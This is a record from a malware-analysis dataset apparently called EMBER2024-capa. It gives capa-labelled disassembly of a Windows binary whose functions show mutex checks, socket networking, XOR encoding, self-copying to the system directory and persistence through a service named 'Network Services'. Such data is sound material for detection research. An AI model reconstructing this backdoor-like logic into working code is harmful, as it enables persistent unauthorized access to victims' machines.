joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403630
Capabilities:
Check mutex on windows

Disassembly:
sub esp, 0x104
mov eax, dword [0x40e3e0]
xor eax, esp
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x108]
push esi
xor esi, esi
cmp eax, 0x400
jbe 0x4036e9
cmp byte [eax], 0x2a
jne 0x403664
mov esi, 1
inc eax
cmp dword [0x40f09c], 0
je 0x40368c
test esi, esi
jne 0x4036e9
mov eax, dword [0x40f098]
pop esi
mov ecx, dword [esp + 0x100]
xor ecx, esp
call fcn.00404c23
add esp, 0x104
ret
push eax
push str.Global
lea eax, [esp + 0xc]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 4]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x40f09c], eax
test eax, eax
je 0x4036d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x4036db
cmp eax, 0xb7
jne 0x4036e5
jmp 0x4036db
mov dword [0x40f09c], 0xffffffff
mov dword [0x40f098], 1
test esi, esi
je 0x403671
mov eax, dword [0x40f09c]
test eax, eax
je 0x4036fe
cmp eax, 0xffffffff
je 0x4036fe
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x104]
mov eax, dword [0x40f098]
pop esi
xor ecx, esp
mov dword [0x40f09c], 0
mov dword [0x40f098], 0
call fcn.00404c23
add esp, 0x104
ret

Function at 0x4038d0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push esi
mov esi, dword [esp + 8]
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [esi + 4], eax
test eax, eax
jne 0x4038f3
mov dword [esi], 0xffffffff
pop esi
ret 4
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x403916
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
xor eax, eax
pop esi
ret 4
mov ecx, dword [esi + 4]
push 0x33
push ecx
push eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x403941
mov edx, dword [esi + 4]
push edx
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov eax, dword [esi]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop esi
ret 4
mov eax, 1
pop esi
ret 4
Function at 0x403980
Capabilities:
Connect socket
Resolve dns

Disassembly:
sub esp, 0x18
mov eax, dword [0x40e3e0]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
mov esi, dword [esp + 0x24]
push edi
mov edi, dword [esp + 0x24]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 8], eax
test eax, eax
je 0x4039ba
push 2
push 4
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x4039c9
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x403a87
cmp word [eax + 0xa], 4
jne 0x403a87
xor ecx, ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov ecx, dword [edx]
mov dword [esp + 0x10], ecx
mov dx, word [eax + 8]
mov eax, dword [esp + 0x2c]
push eax
mov word [esp + 0x10], dx
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [edi]
push 0x10
lea ecx, [esp + 0x10]
push ecx
push edx
mov word [esp + 0x1a], ax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403a36
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.00404c23
add esp, 0x18
ret 0xc
mov eax, edi
call fcn.004037b0
cmp eax, 0x2733
je 0x403a4b
cmp eax, 0x2734
jne 0x403a7c
push 0x4e20
push 0x10
push edi
call fcn.00403810
test eax, eax
jle 0x403a7c
push 0x2710
push 2
push edi
call fcn.00403810
pop edi
pop esi
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.00404c23
add esp, 0x18
ret 0xc
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404c23
add esp, 0x18
ret 0xc

Function at 0x403aa0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi]
cmp eax, 0xffffffff
jne 0x403ab2
xor eax, eax
pop esi
ret 0xc
cmp dword [esi + 4], 0
je 0x403aac
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push edi
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403ae1
mov eax, esi
call fcn.004037b0
mov eax, edi
pop edi
pop esi
ret 0xc
test edi, edi
jne 0x403aea
call fcn.00403780
mov eax, edi
pop edi
pop esi
ret 0xc
Function at 0x403b90
Capabilities:
Check for time delay via gettickcount
Send data
Send data on socket

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [esp + 0x20]
mov ebx, dword [esp + 0x1c]
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x10], eax
xor esi, esi
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx]
cmp eax, 0xffffffff
je 0x403c16
cmp dword [ecx + 4], 0
je 0x403c16
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call ebp
cmp eax, 1
jge 0x403bdf
mov eax, dword [esp + 0x18]
call fcn.004037b0
jmp 0x403bf0
add esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x10], eax
call fcn.00401110
cmp esi, edi
jge 0x403c16
mov eax, dword [esp + 0x10]
push eax
call fcn.004030c0
add esp, 4
cmp eax, 0x4e20
jge 0x403c16
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00403960
test eax, eax
jne 0x403bb0
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc

Function at 0x403cc0
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
test ebx, ebx
jle 0x403cef
jmp 0x403cd0
xor byte [esi + edi], cl
mov eax, 0x24924925
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
lea ecx, [ecx + ecx*2]
inc esi
add ecx, eax
cmp esi, ebx
jl 0x403cd0
pop esi
ret
Function at 0x403d80
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x4c
mov eax, dword [0x40e3e0]
xor eax, esp
mov dword [esp + 0x48], eax
push ebx
push ebp
mov ebp, dword [esp + 0x58]
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
xor eax, eax
mov dword [esp + 0xc], eax
mov word [esp + 0x10], ax
mov byte [esp + 0x12], al
push 7
cmp dword [esp + 0x64], eax
je 0x403dc3
lea eax, [esp + 0x10]
push eax
push ebp
call fcn.00403b00
mov esi, eax
jmp 0x403dee
lea ecx, [esp + 0x10]
push ecx
push ebp
call fcn.00403aa0
mov esi, eax
test esi, esi
jle 0x403dee
cmp esi, 7
jae 0x403df1
mov edx, 7
sub edx, esi
push edx
lea eax, [esp + esi + 0x10]
push eax
push ebp
call fcn.00403b00
add esi, eax
cmp esi, 7
jne 0x403f09
mov ecx, dword [esp + 0xc]
add ecx, 9
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x403ee8
mov edx, dword [esp + 0xc]
mov dword [esi], edx
mov ax, word [esp + 0x10]
mov word [esi + 4], ax
mov cl, byte [esp + 0x12]
mov byte [esi + 6], cl
mov eax, dword [esi]
push edi
test eax, eax
jbe 0x403ea9
xor edi, edi
test eax, eax
jbe 0x403e7c
push ebp
call fcn.00403960
test eax, eax
je 0x403e7c
push ebx
call fcn.004030c0
add esp, 4
cmp eax, 0x186a0
jge 0x403e7c
mov edx, dword [esi]
sub edx, edi
push edx
lea eax, [edi + esi + 7]
push eax
push ebp
call fcn.00403aa0
test eax, eax
jle 0x403e6e
add edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
jmp 0x403e76
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, dword [esi]
je 0x403ea9
jb 0x403e34
cmp dword [esi], edi
je 0x403ea9
lea ecx, [esp + 0x18]
push ecx
push ebp
call fcn.00403c20
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.00404c23
add esp, 0x4c
ret 8
movzx ecx, word [esi + 4]
mov ebx, dword [esi]
lea edi, [esi + 7]
call fcn.00403cc0
mov edx, dword [esi]
push edx
mov ecx, edi
call fcn.00403d00
add esp, 4
cmp word [esi + 4], ax
je 0x403ed1
lea eax, [esp + 0x18]
push eax
jmp 0x403e85
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.00404c23
add esp, 0x4c
ret 8
lea ecx, [esp + 0x14]
push ecx
push ebp
call fcn.00403c20
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.00404c23
add esp, 0x4c
ret 8
test esi, esi
jl 0x403f18
lea edx, [esp + 0x14]
push edx
push ebp
call fcn.00403c20
mov ecx, dword [esp + 0x54]
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00404c23
add esp, 0x4c
ret 8
Function at 0x404350
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword [0x40f0a0]
test eax, eax
jne 0x4043e0
mov eax, dword [0x40e3d8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
push eax
call esi
mov ecx, dword [0x40e3d4]
push ecx
mov edi, eax
call esi
lea edx, [edi + eax + 8]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x40f0a0], eax
test eax, eax
je 0x4043de
mov ecx, dword [0x40e3d4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [0x40e3d8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.004030d0
add esp, 8
test eax, eax
mov eax, dword [0x40f0a0]
je 0x4043de
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x40b26c
push eax
call esi
mov ecx, dword [0x40e3d8]
mov edx, dword [0x40f0a0]
push ecx
push edx
call esi
mov eax, dword [0x40f0a0]
pop edi
pop esi
ret
Function at 0x4043f0
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
sub esp, 0x138
mov eax, dword [0x40e3e0]
xor eax, esp
mov dword [esp + 0x134], eax
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x404433
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
mov ecx, dword [esp + 0x134]
xor ecx, esp
call fcn.00404c23
add esp, 0x138
ret
push esi
push 0x107
lea eax, [esp + 0x38]
push 0
push eax
call fcn.00404c50
add esp, 0xc
push 0x104
lea ecx, [esp + 0x39]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x35]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
mov al, 0x22
mov byte [esp + 0x34], al
mov byte [esp + esi + 0x34], al
inc esi
mov al, 0x20
mov byte [esp + esi + 0x34], al
mov byte [esp + esi + 0x35], 0x2f
inc esi
mov byte [esp + esi + 0x35], 0x73
inc esi
inc esi
mov byte [esp + esi + 0x34], 0x72
inc esi
mov byte [esp + esi + 0x34], 0x76
inc esi
mov byte [esp + esi + 0x34], al
call fcn.00404350
push eax
lea eax, [esp + esi + 0x39]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [str.Network_Services]
push 0x12
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4044ed
push eax
push eax
push eax
push eax
push eax
mov eax, dword [str.Network_Services]
lea edx, [esp + 0x48]
push edx
push 1
push 2
push 0x110
push 0xf01ff
push eax
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
je 0x4045be
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], eax
lea ecx, [esp + 8]
mov eax, 0x40b36e
push ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov eax, 0x493e0
push 2
push esi
mov dword [esp + 0x20], 3
mov dword [esp + 0x14], 0x258
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], 1
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], 1
call fcn.00403730
add esp, 0xc
cmp dword [esp + 0x144], 0
je 0x404595
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x404595
push esi
jmp 0x4045c0
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
test esi, esi
je 0x4045a5
push esi
call edi
pop esi
xor eax, eax
pop edi
mov ecx, dword [esp + 0x134]
xor ecx, esp
call fcn.00404c23
add esp, 0x138
ret
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x13c]
pop esi
pop edi
xor ecx, esp
call fcn.00404c23
add esp, 0x138
ret
Function at 0x404650
Capabilities:
Accept command line arguments
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes

Disassembly:
sub esp, 0x310
mov eax, dword [0x40e3e0]
xor eax, esp
mov dword [esp + 0x30c], eax
mov eax, dword [0x40e3d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.004030d0
add esp, 8
test eax, eax
je 0x404697
mov eax, 1
mov ecx, dword [esp + 0x30c]
xor ecx, esp
call fcn.00404c23
add esp, 0x310
ret
push ebx
push esi
push edi
push 0x104
lea ecx, [esp + 0x10]
push 0
push ecx
call fcn.00404c50
push 0x104
lea edx, [esp + 0x120]
push 0
push edx
call fcn.00404c50
push 0x104
lea eax, [esp + 0x230]
push 0
push eax
call fcn.00404c50
add esp, 0x24
push 0x104
lea ecx, [esp + 0x10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea edx, [esp + 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x110]
push eax
call edi
mov esi, eax
mov bl, 0x5c
cmp byte [esp + esi + 0x10f], bl
je 0x404720
mov byte [esp + esi + 0x110], bl
inc esi
push ebp
call fcn.00402ed0
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push eax
lea ecx, [esp + esi + 0x118]
push ecx
call ebp
lea edx, [esp + 0x218]
push edx
push 0
push 0
push 0x23
push 0
call fcn.00403140
add esp, 0x14
lea eax, [esp + 0x218]
push eax
call edi
mov esi, eax
cmp byte [esp + esi + 0x217], bl
je 0x40476c
mov byte [esp + esi + 0x218], bl
inc esi
call fcn.00402ed0
push eax
lea ecx, [esp + esi + 0x21c]
push ecx
call ebp
push 0
lea edx, [esp + 0x118]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.004045f0
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop ebp
test eax, eax
je 0x4047c6
push 0
push 0
call fcn.00404350
push eax
lea ecx, [esp + 0x11c]
push ecx
push str.open
push 0
call esi
lea edx, [esp + 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40480c
lea eax, [esp + 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40480c
push 0
lea ecx, [esp + 0x218]
push ecx
lea edx, [esp + 0x14]
push edx
call fcn.004045f0
test eax, eax
je 0x40480c
push 0
push 0
call fcn.00404350
push eax
lea eax, [esp + 0x220]
push eax
push str.open
push 0
call esi
push 0x40b45c
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.004030d0
add esp, 8
test eax, eax
je 0x40487f
xor eax, eax
cmp byte [esp + eax + 0xc], bl
je 0x404866
cmp byte [esp + eax + 0xd], bl
je 0x404850
cmp byte [esp + eax + 0xe], bl
je 0x404853
cmp byte [esp + eax + 0xf], bl
je 0x404858
cmp byte [esp + eax + 0x10], bl
je 0x40485d
add eax, 5
cmp eax, 0x104
jb 0x404826
jmp 0x404860
inc eax
jmp 0x404860
add eax, 2
jmp 0x404860
add eax, 3
jmp 0x404860
add eax, 4
cmp byte [esp + eax + 0xc], bl
jne 0x40487f
push 5
push 0
push 0
lea ecx, [esp + 0x18]
push ecx
push str.open
push 0
mov byte [esp + eax + 0x25], 0
call esi
mov ecx, dword [esp + 0x318]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00404c23
add esp, 0x310
ret
Function at 0x4048a0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x24c
mov eax, dword [0x40e3e0]
xor eax, esp
mov dword [esp + 0x248], eax
push esi
push edi
mov edi, edx
mov al, byte [ecx]
cmp al, 0x20
je 0x4048ca
cmp al, 0xd
je 0x4048ca
cmp al, 0xa
je 0x4048ca
cmp al, 9
jne 0x4048d0
inc ecx
jmp 0x4048b8
mov al, byte [edi]
cmp al, 0x20
je 0x4048e2
cmp al, 0xd
je 0x4048e2
cmp al, 0xa
je 0x4048e2
cmp al, 9
jne 0x4048e5
inc edi
jmp 0x4048d0
lea esi, [esp + 0x48]
xor edx, edx
sub esi, ecx
lea ecx, [ecx]
mov al, byte [ecx]
test al, al
je 0x404907
cmp al, 0x20
je 0x404907
mov byte [esi + ecx], al
inc edx
inc ecx
cmp edx, 0x103
jb 0x4048f0
lea esi, [esp + 8]
xor ecx, ecx
mov byte [esp + edx + 0x48], 0
mov eax, edi
sub esi, edi
mov dl, byte [eax]
test dl, dl
je 0x40492b
cmp dl, 0x20
je 0x40492b
mov byte [esi + eax], dl
inc ecx
inc eax
cmp ecx, 0x3f
jb 0x404916
push 0x104
lea eax, [esp + 0x150]
push 0
push eax
mov byte [esp + ecx + 0x14], 0
call fcn.00404c50
add esp, 0xc
push 0x104
lea ecx, [esp + 0x150]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x154]
push ecx
call fcn.004045f0
test eax, eax
jne 0x4049a6
push 0x1388
call edi
inc esi
cmp esi, 0x4e20
jl 0x404964
pop edi
pop esi
mov ecx, dword [esp + 0x248]
xor ecx, esp
call fcn.00404c23
add esp, 0x24c
ret
push 0
push 0
call fcn.00404350
push eax
lea edx, [esp + 0x54]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.00402510
mov ecx, dword [esp + 0x250]
pop edi
pop esi
xor ecx, esp
call fcn.00404c23
add esp, 0x24c
ret
Function at 0x4049e0
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x158
mov eax, dword [0x40e3e0]
xor eax, esp
mov dword [esp + 0x154], eax
push esi
push edi
xor edi, edi
mov dword [0x40f06c], edi
mov eax, dword [0x40f06c]
push edi
mov dword [0x40f070], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x40f074], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x40f068], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp esi, edi
je 0x404a38
push 0x64
push esi
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
test eax, eax
je 0x404a3d
mov esi, 0x40b36e
push 0x40b468
push esi
call fcn.004030d0
add esp, 8
test eax, eax
je 0x404aa1
call fcn.00402d80
call fcn.00404350
push eax
push 0x67
push getpeername
call fcn.00403560
call fcn.00404350
push eax
push 0x67
push getpeername
call fcn.00403560
add esp, 0x18
push 0x144
lea ecx, [esp + 0x1c]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 4
lea edx, [esp + 0x1c]
push edi
push edx
call fcn.004035e0
add esp, 0xc
jmp 0x404be5
push 0x40b2cc
push esi
call fcn.004030d0
add esp, 8
test eax, eax
je 0x404af4
push 0x40b2d0
push esi
call fcn.004030d0
add esp, 8
test eax, eax
je 0x404af4
push 0x40b2d0
push esi
call fcn.004030d0
mov edi, eax
push 0x40b2cc
push esi
add edi, 3
call fcn.004030d0
mov ecx, eax
add esp, 0x10
add ecx, 3
mov edx, edi
call fcn.004048a0
jmp 0x404be5
push str._srv
push esi
call fcn.004030d0
add esp, 8
test eax, eax
je 0x404b7d
mov eax, dword [str.Network_Services]
mov esi, 1
mov dword [0x40f06c], esi
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x402e40
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edi
call fcn.00401000
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
mov dword [0x40f070], esi
call fcn.00402510
call sub.WS2_32.dll_WSACleanup
cmp dword [0x40f048], edi
je 0x404be5
mov edx, dword [0x40f06c]
test edx, edx
je 0x404be5
mov eax, dword [0x40f048]
push 0x40f04c
push eax
mov dword [0x40f050], esi
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
jmp 0x404be5
call fcn.00404650
test eax, eax
je 0x404be5
mov ecx, dword [0x40e3d4]
push ecx
push esi
call fcn.004030d0
neg eax
sbb eax, eax
inc eax
push eax
call fcn.004043f0
call fcn.00404350
push eax
push 0x66
push getpeername
call fcn.00403560
add esp, 0x18
test eax, eax
jne 0x404bcc
call fcn.00404350
push eax
push 0x66
push getpeername
call fcn.00403560
add esp, 0xc
mov edx, dword [0x40e3d8]
push edx
push esi
call fcn.004030d0
add esp, 8
test eax, eax
jne 0x404be5
call fcn.00404320
mov ecx, dword [esp + 0x15c]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404c23
add esp, 0x158
ret 0x10

Function at 0x404c23
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40e3e0]
jne 0x404c2d
repz ret
jmp fcn.0040537d
Function at 0x4086cd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406bc5
and dword [ebp - 4], 0
cmp dword [0x40fa04], 0
mov ebx, eax
jne 0x40877e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40882f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40882f
push eax
call fcn.00406b53
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40fa04], eax
call esi
push eax
call fcn.00406b53
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40fa08], eax
call esi
push eax
call fcn.00406b53
mov dword [esp], 0x40b3d0
push edi
mov dword [0x40fa0c], eax
call esi
push eax
call fcn.00406b53
pop ecx
mov dword [0x40fa14], eax
test eax, eax
je 0x40877e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406b53
pop ecx
mov dword [0x40fa10], eax
mov eax, dword [0x40fa10]
cmp eax, ebx
je 0x4087d6
cmp dword [0x40fa14], ebx
je 0x4087d6
push eax
call fcn.00406bce
push dword [0x40fa14]
mov esi, eax
call fcn.00406bce
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4087d6
test edi, edi
je 0x4087d6
call esi
test eax, eax
je 0x4087cd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4087cd
test byte [ebp - 0xc], 1
jne 0x4087d6
or dword [ebp + 0x10], 0x200000
jmp 0x40880f
mov eax, dword [0x40fa08]
cmp eax, ebx
je 0x40880f
push eax
call fcn.00406bce
pop ecx
test eax, eax
je 0x40880f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40880f
mov eax, dword [0x40fa0c]
cmp eax, ebx
je 0x40880f
push eax
call fcn.00406bce
pop ecx
test eax, eax
je 0x40880f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40fa04]
call fcn.00406bce
pop ecx
test eax, eax
je 0x40882f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408831
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4092c0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x4092f8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x4092ee
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4092fa
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4092e0
xor eax, eax
pop ebx
pop esi
ret